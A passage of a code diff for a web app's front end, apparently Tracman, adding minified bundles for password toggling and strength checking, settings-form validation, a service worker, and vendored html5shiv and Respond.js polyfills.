!function(t){function r(n){if(e[n])return e[n].exports;var o=e[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,r),o.l=!0,o.exports}var e={};r.m=t,r.c=e,r.d=function(t,e,n){r.o(t,e)||Object.defineProperty(t,e,{configurable:!1,enumerable:!0,get:n})},r.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return r.d(e,"a",e),e},r.o=function(t,r){return Object.prototype.hasOwnProperty.call(t,r)},r.p="",r(r.s=30)}({30:function(t,r,e){"use strict";$(function(){$("#show").click(function(){"password"===$("#password").attr("type")?$("#password").attr("type","text"):$("#password").attr("type","password")})})}});
|
|
@ -0,0 +1 @@
|
|||
"use strict";$(function(){$("#show").click(function(){"password"===$("#password").attr("type")?$("#password").attr("type","text"):$("#password").attr("type","password")})});
|
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
|
@ -0,0 +1 @@
|
|||
"use strict";function checkMatch(){$("#submit").prop("title","You need to type your password again before you can save it. "),$("#p1").val()===$("#p2").val()?$("#submit").prop("disabled",!1).prop("title","Click here to save your password. "):""!==$("#p2").val()&&($("#password-help").text("Those passwords don't match... ").css({color:"#fb6e3d"}),$("#submit").prop("disabled",!0).prop("title","You need to type the same password twice before you can save it. "))}$(function(){$(".password").keyup(function(){if(""===$("#p1").val()&&""===$("#p2").val())$("#password-help").hide(),$("#submit").prop("disabled",!0).prop("title","You need to enter a password first. ");else if(""===$("#p1").val())$("#password-help").show().text("Those passwords don't match... "),$("#submit").prop("disabled",!0).prop("title","You need to type the same password twice correctly before you can save it. ");else{$("#password-help").show();let e=zxcvbn($("#p1").val());e.crack_times_seconds.online_no_throttling_10_per_second<3600?($("#password-help").text("That password is way too common or simple. You may not use it for Tracman and should not use it anywhere. ").css({color:"#fb6e3d"}),$("#submit").prop("disabled",!0).prop("title","You need to come up with a better password. ")):e.crack_times_seconds.online_no_throttling_10_per_second<86400?($("#password-help").text("That password is pretty bad. It could be cracked in "+e.crack_times_display.online_no_throttling_10_per_second+". Try adding more words, numbers, or symbols. ").css({color:"#fb6e3d"}),$("#submit").prop("disabled",!0).prop("title","You need to come up with a better password. ")):e.crack_times_seconds.online_no_throttling_10_per_second<864e3?($("#password-help").text("That password isn't good enough. It could be cracked in "+e.crack_times_display.online_no_throttling_10_per_second+". Try adding another word, number, or symbol. ").css({color:"#fb6e3d"}),$("#submit").prop("disabled",!0).prop("title","You need to come up with a better password. ")):e.crack_times_seconds.online_no_throttling_10_per_second<=2592e3?($("#password-help").text("That password is good enough, but it could still be cracked in "+e.crack_times_display.online_no_throttling_10_per_second+". ").css({color:"#eee"}),checkMatch()):e.crack_times_seconds.online_no_throttling_10_per_second<=1314e3?($("#password-help").text("That password is good. It would take "+e.crack_times_display.online_no_throttling_10_per_second+" to crack. ").css({color:"#8ae137"}),checkMatch()):($("#password-help").text("That password is great! It could take "+e.crack_times_display.online_no_throttling_10_per_second+" to crack!").css({color:"#8ae137"}),checkMatch())}}),$("#show").click(function(){$(this).is(":checked")?$(".password").attr("type","text"):$(".password").attr("type","password")})});
|
|
@ -0,0 +1 @@
|
|||
!function(e){function t(n){if(i[n])return i[n].exports;var u=i[n]={i:n,l:!1,exports:{}};return e[n].call(u.exports,u,u.exports,t),u.l=!0,u.exports}var i={};t.m=e,t.c=i,t.d=function(e,i,n){t.o(e,i)||Object.defineProperty(e,i,{configurable:!1,enumerable:!0,get:n})},t.n=function(e){var i=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(i,"a",i),i},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=62)}({62:function(e,t,i){"use strict";function n(e){return/^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/.test(e)}function u(e,t,i){$.get("/validate?"+e+"="+$(t).val()).done(function(e){$(t).val(e),i()})}$(function(){function e(e){function u(e){function u(){$("#email-help").is(":visible")&&"Unable to confirm unique "!==$("#email-help").text().substring(0,25)?$("#submit-group .main").prop("disabled",!0).prop("title","You need to supply a different email address. "):$("#slug-help").is(":visible")&&"Unable to confirm unique "!==$("#slug-help").text().substring(0,25)?$("#submit-group .main").prop("disabled",!0).prop("title","You need to supply a different slug. "):"Unable to confirm unique "===$("#slug-help").text().substring(0,25)?$("#submit-group .main").prop("title","Unable to confirm unique slug with the server. This might not work... "):"Unable to confirm unique "===$("#email-help").text().substring(0,25)?$("#submit-group .main").prop("title","Unable to confirm unique email with the server. This might not work... "):$("#submit-group .main").prop("disabled",!1).prop("title","Click here to save your changes. ")}e&&$("#"+e+"-input").val()?("email"===!e||n($("#email-input").val()))&&$.ajax({url:"/validate?"+e+"="+$("#"+e+"-input").val(),type:"GET",statusCode:{200:function(){$("#"+e+"-help").hide(),"slug"===e?t=!1:"email"===e&&(i=!1),u()},400:function(){"slug"===e?t=!0:"email"===e&&(i=!0),$("#"+e+"-help").show().text("That "+e+" is already in use by another user. "),$("#submit-group .main").prop("disabled",!0).prop("title","You need to supply a different "+e+". ")}}}).error(function(){"slug"===e?t=void 0:"email"===e&&(i=void 0),$("#"+e+"-help").show().text("Unable to confirm unique "+e+". This might not work... "),u()}):u()}!function(e){var u=0;$("#slug-input").val()?(t||$("#slug-help").hide(),u>0?e():u++):($("#slug-help").show().text("A slug is required. "),$("#submit-group .main").prop("disabled",!0).prop("title","You need to enter a slug. "),u>0?e():u++),$("#email-input").val()?n($("#email-input").val())?(i||$("#email-help").hide(),u>0?e():u++):($("#email-help").show().text("You must enter a valid email address. "),$("#submit-group .main").prop("disabled",!0).prop("title","You need to enter a valid email address. "),u>0?e():u++):($("#email-help").show().text("An email is required. "),$("#submit-group .main").prop("disabled",!0).prop("title","You need to enter an email address. "),u>0?e():u++)}(function(){u(e)})}var t,i;$("#password").attr("href","/account/password?tz="+(new Date).getTimezoneOffset()),$("#delete").click(function(){confirm("Are you sure you want to delete your account? This CANNOT be undone! ")&&(window.location.href="/settings/delete")}),$("#slug-input").change(function(){$("#slug-input").val()?($("#slug-help").hide(),u("slugify","#slug-input",function(){e("slug")})):($("#slug-help").show().text("A slug is required. "),$("#submit-group .main").prop("disabled",!0).prop("title","You need to enter a slug. "))}),$("#email-input").change(function(){e("email")}),$("#name-input").change(function(){u("xss","#name-input",e)})})}});
|
|
@ -0,0 +1 @@
|
|||
"use strict";function validateEmail(e){return/^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/.test(e)}function replaceFromEndpoint(e,i,t){$.get("/validate?"+e+"="+$(i).val()).done(function(e){$(i).val(e),t()})}$(function(){let e,i;function t(t){!function(t){let n=0;$("#slug-input").val()?(e||$("#slug-help").hide(),n>0?t():n++):($("#slug-help").show().text("A slug is required. "),$("#submit-group .main").prop("disabled",!0).prop("title","You need to enter a slug. "),n>0?t():n++);$("#email-input").val()?validateEmail($("#email-input").val())?(i||$("#email-help").hide(),n>0?t():n++):($("#email-help").show().text("You must enter a valid email address. "),$("#submit-group .main").prop("disabled",!0).prop("title","You need to enter a valid email address. "),n>0?t():n++):($("#email-help").show().text("An email is required. "),$("#submit-group .main").prop("disabled",!0).prop("title","You need to enter an email address. "),n>0?t():n++)}(function(){!function(t){function n(){$("#email-help").is(":visible")&&"Unable to confirm unique "!==$("#email-help").text().substring(0,25)?$("#submit-group .main").prop("disabled",!0).prop("title","You need to supply a different email address. "):$("#slug-help").is(":visible")&&"Unable to confirm unique "!==$("#slug-help").text().substring(0,25)?$("#submit-group .main").prop("disabled",!0).prop("title","You need to supply a different slug. "):"Unable to confirm unique "===$("#slug-help").text().substring(0,25)?$("#submit-group .main").prop("title","Unable to confirm unique slug with the server. This might not work... "):"Unable to confirm unique "===$("#email-help").text().substring(0,25)?$("#submit-group .main").prop("title","Unable to confirm unique email with the server. This might not work... "):$("#submit-group .main").prop("disabled",!1).prop("title","Click here to save your changes. ")}t&&$("#"+t+"-input").val()?("email"===!t||validateEmail($("#email-input").val()))&&$.ajax({url:"/validate?"+t+"="+$("#"+t+"-input").val(),type:"GET",statusCode:{200:function(){$("#"+t+"-help").hide(),"slug"===t?e=!1:"email"===t&&(i=!1),n()},400:function(){"slug"===t?e=!0:"email"===t&&(i=!0),$("#"+t+"-help").show().text("That "+t+" is already in use by another user. "),$("#submit-group .main").prop("disabled",!0).prop("title","You need to supply a different "+t+". ")}}}).error(function(){"slug"===t?e=void 0:"email"===t&&(i=void 0),$("#"+t+"-help").show().text("Unable to confirm unique "+t+". This might not work... "),n()}):n()}(t)})}$("#password").attr("href","/account/password?tz="+(new Date).getTimezoneOffset()),$("#delete").click(function(){confirm("Are you sure you want to delete your account? This CANNOT be undone! ")&&(window.location.href="/settings/delete")}),$("#slug-input").change(function(){$("#slug-input").val()?($("#slug-help").hide(),replaceFromEndpoint("slugify","#slug-input",function(){t("slug")})):($("#slug-help").show().text("A slug is required. "),$("#submit-group .main").prop("disabled",!0).prop("title","You need to enter a slug. "))}),$("#email-input").change(function(){t("email")}),$("#name-input").change(function(){replaceFromEndpoint("xss","#name-input",t)})});
|
|
@ -0,0 +1 @@
|
|||
!function(t){function n(r){if(e[r])return e[r].exports;var c=e[r]={i:r,l:!1,exports:{}};return t[r].call(c.exports,c,c.exports,n),c.l=!0,c.exports}var e={};n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)||Object.defineProperty(t,e,{configurable:!1,enumerable:!0,get:r})},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,n){return Object.prototype.hasOwnProperty.call(t,n)},n.p="",n(n.s=69)}({69:function(t,n,e){"use strict";const r=["/","/static/js/.*.bun.js","/static/css/.*.min.css","/static/manifest.json"];self.addEventListener("install",function(t){t.waitUntil(caches.open("precache-0.8.2").then(function(t){t.addAll(r)}).then(self.skipWaiting()))}),self.addEventListener("activate",function(t){const n=["precache-0.8.2","runtime"];t.waitUntil(caches.keys().then(function(t){return t.filter(function(t){n.includes(t)})}).then(function(t){return Promise.all(t.map(function(t){return caches.delete(t)}))}).then(function(){self.clients.claim()}))}),self.addEventListener("fetch",function(t){t.request.url.startsWith(self.location.origin)&&t.respondWith(caches.match(t.request).then(function(n){return n||caches.open("runtime").then(function(n){return fetch(t.request).then(function(e){return n.put(t.request,e.clone()).then(function(){return e})})})}))})}});
|
|
@ -0,0 +1 @@
|
|||
"use strict";const PRECACHE="precache-0.8.2",RUNTIME="runtime",PRECACHE_URLS=["/","/static/js/.*.min.js","/static/css/.*.min.css","/static/manifest.json"];self.addEventListener("install",function(t){t.waitUntil(caches.open(PRECACHE).then(function(t){t.addAll(PRECACHE_URLS)}).then(self.skipWaiting()))}),self.addEventListener("activate",function(t){const n=[PRECACHE,RUNTIME];t.waitUntil(caches.keys().then(function(t){return t.filter(function(t){n.includes(t)})}).then(function(t){return Promise.all(t.map(function(t){return caches.delete(t)}))}).then(function(){self.clients.claim()}))}),self.addEventListener("fetch",function(t){t.request.url.startsWith(self.location.origin)&&t.respondWith(caches.match(t.request).then(function(n){return n||caches.open(RUNTIME).then(function(n){return fetch(t.request).then(function(e){return n.put(t.request,e.clone()).then(function(){return e})})})}))});
|
|
@ -21,7 +21,7 @@ ga('send', 'pageview')
|
|||
// Service worker
|
||||
if ('serviceWorker' in navigator) {
|
||||
window.addEventListener('load', function () {
|
||||
navigator.serviceWorker.register('/static/js/.sw.bun.js'/*'/static/js/.sw.bun.js'*/).then( function(registration) {
|
||||
navigator.serviceWorker.register('/static/js/.sw.min.js').then( function(registration) {
|
||||
// Registration was successful
|
||||
console.log('ServiceWorker registration successful with scope: ', registration.scope)
|
||||
}, function(err) {
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
'use strict'
|
||||
/* global $ */
|
||||
|
||||
var validEmail, validMessage
|
||||
let validEmail, validMessage
|
||||
|
||||
// Validate email addresses
|
||||
function validateEmail (email) {
|
||||
|
|
|
@ -3,8 +3,8 @@
|
|||
|
||||
// Push footer to bottom on pages with little content
|
||||
function setFooter () {
|
||||
var $windowHeight = $(window).height()
|
||||
var $footerBottom = $('footer').offset().top + $('footer').height()
|
||||
const $windowHeight = $(window).height()
|
||||
const $footerBottom = $('footer').offset().top + $('footer').height()
|
||||
if ($windowHeight > $footerBottom) {
|
||||
$('footer').css('margin-top', $windowHeight - $footerBottom)
|
||||
}
|
||||
|
|
|
@ -1,32 +0,0 @@
|
|||
/*
|
||||
HTML5 Shiv v3.6.2 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed
|
||||
*/
|
||||
(function (l, f) {
|
||||
function m () { var a = e.elements; return typeof a === 'string' ? a.split(' ') : a } function i (a) { var b = n[a[o]]; b || (b = {}, h++, a[o] = h, n[h] = b); return b } function p (a, b, c) { b || (b = f); if (g) return b.createElement(a); c || (c = i(b)); b = c.cache[a] ? c.cache[a].cloneNode() : r.test(a) ? (c.cache[a] = c.createElem(a)).cloneNode() : c.createElem(a); return b.canHaveChildren && !s.test(a) ? c.frag.appendChild(b) : b } function t (a, b) {
|
||||
if (!b.cache)b.cache = {}, b.createElem = a.createElement, b.createFrag = a.createDocumentFragment, b.frag = b.createFrag()
|
||||
a.createElement = function (c) { return !e.shivMethods ? b.createElem(c) : p(c, a, b) }; a.createDocumentFragment = Function('h,f', 'return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&(' + m().join().replace(/\w+/g, function (a) { b.createElem(a); b.frag.createElement(a); return 'c("' + a + '")' }) + ');return n}')(e, b.frag)
|
||||
} function q (a) {
|
||||
a || (a = f); var b = i(a); if (e.shivCSS && !j && !b.hasCSS) {
|
||||
var c, d = a; c = d.createElement('p'); d = d.getElementsByTagName('head')[0] || d.documentElement; c.innerHTML = 'x<style>article,aside,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}</style>'
|
||||
c = d.insertBefore(c.lastChild, d.firstChild); b.hasCSS = !!c
|
||||
}g || t(a, b); return a
|
||||
} var k = l.html5 || {}, s = /^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i, r = /^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i, j, o = '_html5shiv', h = 0, n = {}, g; (function () {
|
||||
try {
|
||||
var a = f.createElement('a'); a.innerHTML = '<xyz></xyz>'; j = 'hidden' in a; var b; if (!(b = a.childNodes.length == 1)) {
|
||||
f.createElement('a'); var c = f.createDocumentFragment(); b = typeof c.cloneNode === 'undefined' ||
|
||||
typeof c.createDocumentFragment === 'undefined' || typeof c.createElement === 'undefined'
|
||||
}g = b
|
||||
} catch (d) { g = j = !0 }
|
||||
})(); var e = {elements: k.elements || 'abbr article aside audio bdi canvas data datalist details figcaption figure footer header hgroup main mark meter nav output progress section summary time video',
|
||||
version: '3.6.2',
|
||||
shivCSS: !1 !== k.shivCSS,
|
||||
supportsUnknownElements: g,
|
||||
shivMethods: !1 !== k.shivMethods,
|
||||
type: 'default',
|
||||
shivDocument: q,
|
||||
createElement: p,
|
||||
createDocumentFragment: function (a, b) {
|
||||
a || (a = f); if (g) return a.createDocumentFragment()
|
||||
for (var b = b || i(a), c = b.frag.cloneNode(), d = 0, e = m(), h = e.length; d < h; d++)c.createElement(e[d]); return c
|
||||
}}; l.html5 = e; q(f)
|
||||
})(this, document)
|
|
@ -0,0 +1 @@
|
|||
!function(e,t){function n(){var e=f.elements;return"string"==typeof e?e.split(" "):e}function r(e){var t=d[e[h]];return t||(t={},u++,e[h]=u,d[u]=t),t}function a(e,n,a){return n||(n=t),i?n.createElement(e):(a||(a=r(n)),(n=a.cache[e]?a.cache[e].cloneNode():s.test(e)?(a.cache[e]=a.createElem(e)).cloneNode():a.createElem(e)).canHaveChildren&&!m.test(e)?a.frag.appendChild(n):n)}function c(e){e||(e=t);var c=r(e);if(f.shivCSS&&!o&&!c.hasCSS){var l,m=e;l=m.createElement("p"),m=m.getElementsByTagName("head")[0]||m.documentElement,l.innerHTML="x<style>article,aside,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}</style>",l=m.insertBefore(l.lastChild,m.firstChild),c.hasCSS=!!l}return i||function(e,t){t.cache||(t.cache={},t.createElem=e.createElement,t.createFrag=e.createDocumentFragment,t.frag=t.createFrag()),e.createElement=function(n){return f.shivMethods?a(n,e,t):t.createElem(n)},e.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+n().join().replace(/\w+/g,function(e){return t.createElem(e),t.frag.createElement(e),'c("'+e+'")'})+");return n}")(f,t.frag)}(e,c),e}var o,i,l=e.html5||{},m=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,s=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,h="_html5shiv",u=0,d={};!function(){try{var e,n=t.createElement("a");if(n.innerHTML="<xyz></xyz>",o="hidden"in n,!(e=1==n.childNodes.length)){t.createElement("a");var r=t.createDocumentFragment();e=void 0===r.cloneNode||void 0===r.createDocumentFragment||void 0===r.createElement}i=e}catch(e){i=o=!0}}();var f={elements:l.elements||"abbr article aside audio bdi canvas data datalist details figcaption figure footer header hgroup main mark meter nav output progress section summary time video",version:"3.6.2",shivCSS:!1!==l.shivCSS,supportsUnknownElements:i,shivMethods:!1!==l.shivMethods,type:"default",shivDocument:c,createElement:a,createDocumentFragment:function(e,a){if(e||(e=t),i)return e.createDocumentFragment();for(var c=(a=a||r(e)).frag.cloneNode(),o=0,l=n(),m=l.length;o<m;o++)c.createElement(l[o]);return c}};e.html5=f,c(t)}(this,document);
|
|
@ -0,0 +1 @@
|
|||
window.matchMedia=window.matchMedia||function(e){"use strict";var t,n=e.documentElement,a=n.firstElementChild||n.firstChild,s=e.createElement("body"),i=e.createElement("div");return i.id="mq-test-1",i.style.cssText="position:absolute;top:-100em",s.style.background="none",s.appendChild(i),function(e){return i.innerHTML='­<style media="'+e+'"> #mq-test-1 { width: 42px; }</style>',n.insertBefore(s,a),t=42===i.offsetWidth,n.removeChild(s),{matches:t,media:e}}}(document),function(e){"use strict";function t(){E(!0)}var n={};if(e.respond=n,n.update=function(){},n.mediaQueriesSupported=e.matchMedia&&e.matchMedia("only all").matches,!n.mediaQueriesSupported){var a,s,i,r=e.document,o=r.documentElement,l=[],d=[],m=[],h={},u=r.getElementsByTagName("head")[0]||o,c=r.getElementsByTagName("base")[0],p=u.getElementsByTagName("link"),f=[],y=function(){for(var t=0;p.length>t;t++){var n=p[t],a=n.href,s=n.media,i=n.rel&&"stylesheet"===n.rel.toLowerCase();a&&i&&!h[a]&&(n.styleSheet&&n.styleSheet.rawCssText?(g(n.styleSheet.rawCssText,a,s),h[a]=!0):(!/^([a-zA-Z:]*\/\/)/.test(a)&&!c||a.replace(RegExp.$1,"").split("/")[0]===e.location.host)&&f.push({href:a,media:s}))}v()},v=function(){if(f.length){var t=f.shift();w(t.href,function(n){g(n,t.href,t.media),h[t.href]=!0,e.setTimeout(function(){v()},0)})}},g=function(e,t,n){var a=e.match(/@media[^\{]+\{([^\{\}]*\{[^\}\{]*\})+/gi),s=a&&a.length||0,i=function(e){return e.replace(/(url\()['"]?([^\/\)'"][^:\)'"]+)['"]?(\))/g,"$1"+t+"$2$3")},r=!s&&n;(t=t.substring(0,t.lastIndexOf("/"))).length&&(t+="/"),r&&(s=1);for(var o=0;s>o;o++){var m,h,u,c;r?(m=n,d.push(i(e))):(m=a[o].match(/@media *([^\{]+)\{([\S\s]+?)$/)&&RegExp.$1,d.push(RegExp.$2&&i(RegExp.$2))),c=(u=m.split(",")).length;for(var p=0;c>p;p++)h=u[p],l.push({media:h.split("(")[0].match(/(only\s+)?([a-zA-Z]+)\s?/)&&RegExp.$2||"all",rules:d.length-1,hasquery:h.indexOf("(")>-1,minw:h.match(/\(\s*min\-width\s*:\s*(\s*[0-9\.]+)(px|em)\s*\)/)&&parseFloat(RegExp.$1)+(RegExp.$2||""),maxw:h.match(/\(\s*max\-width\s*:\s*(\s*[0-9\.]+)(px|em)\s*\)/)&&parseFloat(RegExp.$1)+(RegExp.$2||"")})}E()},x=function(){var e,t=r.createElement("div"),n=r.body,a=!1;return t.style.cssText="position:absolute;font-size:1em;width:1em",n||((n=a=r.createElement("body")).style.background="none"),n.appendChild(t),o.insertBefore(n,o.firstChild),e=t.offsetWidth,a?o.removeChild(n):n.removeChild(t),i=parseFloat(e)},E=function(t){var n="clientWidth",h=o[n],c="CSS1Compat"===r.compatMode&&h||r.body[n]||h,f={},y=p[p.length-1],v=(new Date).getTime();if(t&&a&&30>v-a)return e.clearTimeout(s),void(s=e.setTimeout(E,30));for(var g in a=v,l)if(l.hasOwnProperty(g)){var w=l[g],T=w.minw,C=w.maxw,S=null===T,$=null===C;T&&(T=parseFloat(T)*(T.indexOf("em")>-1?i||x():1)),C&&(C=parseFloat(C)*(C.indexOf("em")>-1?i||x():1)),w.hasquery&&(S&&$||!(S||c>=T)||!($||C>=c))||(f[w.media]||(f[w.media]=[]),f[w.media].push(d[w.rules]))}for(var b in m)m.hasOwnProperty(b)&&m[b]&&m[b].parentNode===u&&u.removeChild(m[b]);for(var R in f)if(f.hasOwnProperty(R)){var M=r.createElement("style"),O=f[R].join("\n");M.type="text/css",M.media=R,u.insertBefore(M,y.nextSibling),M.styleSheet?M.styleSheet.cssText=O:M.appendChild(r.createTextNode(O)),m.push(M)}},w=function(e,t){var n=T();n&&(n.open("GET",e,!0),n.onreadystatechange=function(){4!==n.readyState||200!==n.status&&304!==n.status||t(n.responseText)},4!==n.readyState&&n.send(null))},T=function(){var t=!1;try{t=new e.XMLHttpRequest}catch(n){t=new e.ActiveXObject("Microsoft.XMLHTTP")}return function(){return t}}();y(),n.update=y,e.addEventListener?e.addEventListener("resize",t,!1):e.attachEvent&&e.attachEvent("onresize",t)}}(this);
|
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,92 @@
|
|||
/*
|
||||
HTML5 Shiv v3.6.2 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed
|
||||
*/
|
||||
(function(l, f) {
|
||||
function m() {
|
||||
var a = e.elements;
|
||||
return typeof a === 'string' ? a.split(' ') : a
|
||||
}
|
||||
|
||||
function i(a) {
|
||||
var b = n[a[o]];
|
||||
b || (b = {}, h++, a[o] = h, n[h] = b);
|
||||
return b
|
||||
}
|
||||
|
||||
function p(a, b, c) {
|
||||
b || (b = f);
|
||||
if (g) return b.createElement(a);
|
||||
c || (c = i(b));
|
||||
b = c.cache[a] ? c.cache[a].cloneNode() : r.test(a) ? (c.cache[a] = c.createElem(a)).cloneNode() : c.createElem(a);
|
||||
return b.canHaveChildren && !s.test(a) ? c.frag.appendChild(b) : b
|
||||
}
|
||||
|
||||
function t(a, b) {
|
||||
if (!b.cache) b.cache = {}, b.createElem = a.createElement, b.createFrag = a.createDocumentFragment, b.frag = b.createFrag()
|
||||
a.createElement = function(c) {
|
||||
return !e.shivMethods ? b.createElem(c) : p(c, a, b)
|
||||
};
|
||||
a.createDocumentFragment = Function('h,f', 'return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&(' + m().join().replace(/\w+/g, function(a) {
|
||||
b.createElem(a);
|
||||
b.frag.createElement(a);
|
||||
return 'c("' + a + '")'
|
||||
}) + ');return n}')(e, b.frag)
|
||||
}
|
||||
|
||||
function q(a) {
|
||||
a || (a = f);
|
||||
var b = i(a);
|
||||
if (e.shivCSS && !j && !b.hasCSS) {
|
||||
var c, d = a;
|
||||
c = d.createElement('p');
|
||||
d = d.getElementsByTagName('head')[0] || d.documentElement;
|
||||
c.innerHTML = 'x<style>article,aside,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}</style>'
|
||||
c = d.insertBefore(c.lastChild, d.firstChild);
|
||||
b.hasCSS = !!c
|
||||
}
|
||||
g || t(a, b);
|
||||
return a
|
||||
}
|
||||
var k = l.html5 || {},
|
||||
s = /^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,
|
||||
r = /^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,
|
||||
j, o = '_html5shiv',
|
||||
h = 0,
|
||||
n = {},
|
||||
g;
|
||||
(function() {
|
||||
try {
|
||||
var a = f.createElement('a');
|
||||
a.innerHTML = '<xyz></xyz>';
|
||||
j = 'hidden' in a;
|
||||
var b;
|
||||
if (!(b = a.childNodes.length == 1)) {
|
||||
f.createElement('a');
|
||||
var c = f.createDocumentFragment();
|
||||
b = typeof c.cloneNode === 'undefined' ||
|
||||
typeof c.createDocumentFragment === 'undefined' || typeof c.createElement === 'undefined'
|
||||
}
|
||||
g = b
|
||||
} catch (d) {
|
||||
g = j = !0
|
||||
}
|
||||
})();
|
||||
var e = {
|
||||
elements: k.elements || 'abbr article aside audio bdi canvas data datalist details figcaption figure footer header hgroup main mark meter nav output progress section summary time video',
|
||||
version: '3.6.2',
|
||||
shivCSS: !1 !== k.shivCSS,
|
||||
supportsUnknownElements: g,
|
||||
shivMethods: !1 !== k.shivMethods,
|
||||
type: 'default',
|
||||
shivDocument: q,
|
||||
createElement: p,
|
||||
createDocumentFragment: function(a, b) {
|
||||
a || (a = f);
|
||||
if (g) return a.createDocumentFragment()
|
||||
for (var b = b || i(a), c = b.frag.cloneNode(), d = 0, e = m(), h = e.length; d < h; d++) c.createElement(e[d]);
|
||||
return c
|
||||
}
|
||||
};
|
||||
l.html5 = e;
|
||||
q(f)
|
||||
})(this, document)
|
|
@ -0,0 +1,135 @@
|
|||
/*! matchMedia() polyfill - Test a CSS media type/query in JS. Authors & copyright (c) 2012: Scott Jehl, Paul Irish, Nicholas Zakas. Dual MIT/BSD license */
|
||||
/*! NOTE: If you're already including a window.matchMedia polyfill via Modernizr or otherwise, you don't need this part */
|
||||
window.matchMedia = window.matchMedia || function(a) {
|
||||
"use strict";
|
||||
var c, d = a.documentElement,
|
||||
e = d.firstElementChild || d.firstChild,
|
||||
f = a.createElement("body"),
|
||||
g = a.createElement("div");
|
||||
return g.id = "mq-test-1", g.style.cssText = "position:absolute;top:-100em", f.style.background = "none", f.appendChild(g),
|
||||
function(a) {
|
||||
return g.innerHTML = '­<style media="' + a + '"> #mq-test-1 { width: 42px; }</style>', d.insertBefore(f, e), c = 42 === g.offsetWidth, d.removeChild(f), {
|
||||
matches: c,
|
||||
media: a
|
||||
}
|
||||
}
|
||||
}(document);
|
||||
|
||||
/*! Respond.js v1.3.0: min/max-width media query polyfill. (c) Scott Jehl. MIT/GPLv2 Lic. j.mp/respondjs */
|
||||
(function(a) {
|
||||
"use strict";
|
||||
|
||||
function x() {
|
||||
u(!0)
|
||||
}
|
||||
var b = {};
|
||||
if (a.respond = b, b.update = function() {}, b.mediaQueriesSupported = a.matchMedia && a.matchMedia("only all").matches, !b.mediaQueriesSupported) {
|
||||
var q, r, t, c = a.document,
|
||||
d = c.documentElement,
|
||||
e = [],
|
||||
f = [],
|
||||
g = [],
|
||||
h = {},
|
||||
i = 30,
|
||||
j = c.getElementsByTagName("head")[0] || d,
|
||||
k = c.getElementsByTagName("base")[0],
|
||||
l = j.getElementsByTagName("link"),
|
||||
m = [],
|
||||
n = function() {
|
||||
for (var b = 0; l.length > b; b++) {
|
||||
var c = l[b],
|
||||
d = c.href,
|
||||
e = c.media,
|
||||
f = c.rel && "stylesheet" === c.rel.toLowerCase();
|
||||
d && f && !h[d] && (c.styleSheet && c.styleSheet.rawCssText ? (p(c.styleSheet.rawCssText, d, e), h[d] = !0) : (!/^([a-zA-Z:]*\/\/)/.test(d) && !k || d.replace(RegExp.$1, "").split("/")[0] === a.location.host) && m.push({
|
||||
href: d,
|
||||
media: e
|
||||
}))
|
||||
}
|
||||
o()
|
||||
},
|
||||
o = function() {
|
||||
if (m.length) {
|
||||
var b = m.shift();
|
||||
v(b.href, function(c) {
|
||||
p(c, b.href, b.media), h[b.href] = !0, a.setTimeout(function() {
|
||||
o()
|
||||
}, 0)
|
||||
})
|
||||
}
|
||||
},
|
||||
p = function(a, b, c) {
|
||||
var d = a.match(/@media[^\{]+\{([^\{\}]*\{[^\}\{]*\})+/gi),
|
||||
g = d && d.length || 0;
|
||||
b = b.substring(0, b.lastIndexOf("/"));
|
||||
var h = function(a) {
|
||||
return a.replace(/(url\()['"]?([^\/\)'"][^:\)'"]+)['"]?(\))/g, "$1" + b + "$2$3")
|
||||
},
|
||||
i = !g && c;
|
||||
b.length && (b += "/"), i && (g = 1);
|
||||
for (var j = 0; g > j; j++) {
|
||||
var k, l, m, n;
|
||||
i ? (k = c, f.push(h(a))) : (k = d[j].match(/@media *([^\{]+)\{([\S\s]+?)$/) && RegExp.$1, f.push(RegExp.$2 && h(RegExp.$2))), m = k.split(","), n = m.length;
|
||||
for (var o = 0; n > o; o++) l = m[o], e.push({
|
||||
media: l.split("(")[0].match(/(only\s+)?([a-zA-Z]+)\s?/) && RegExp.$2 || "all",
|
||||
rules: f.length - 1,
|
||||
hasquery: l.indexOf("(") > -1,
|
||||
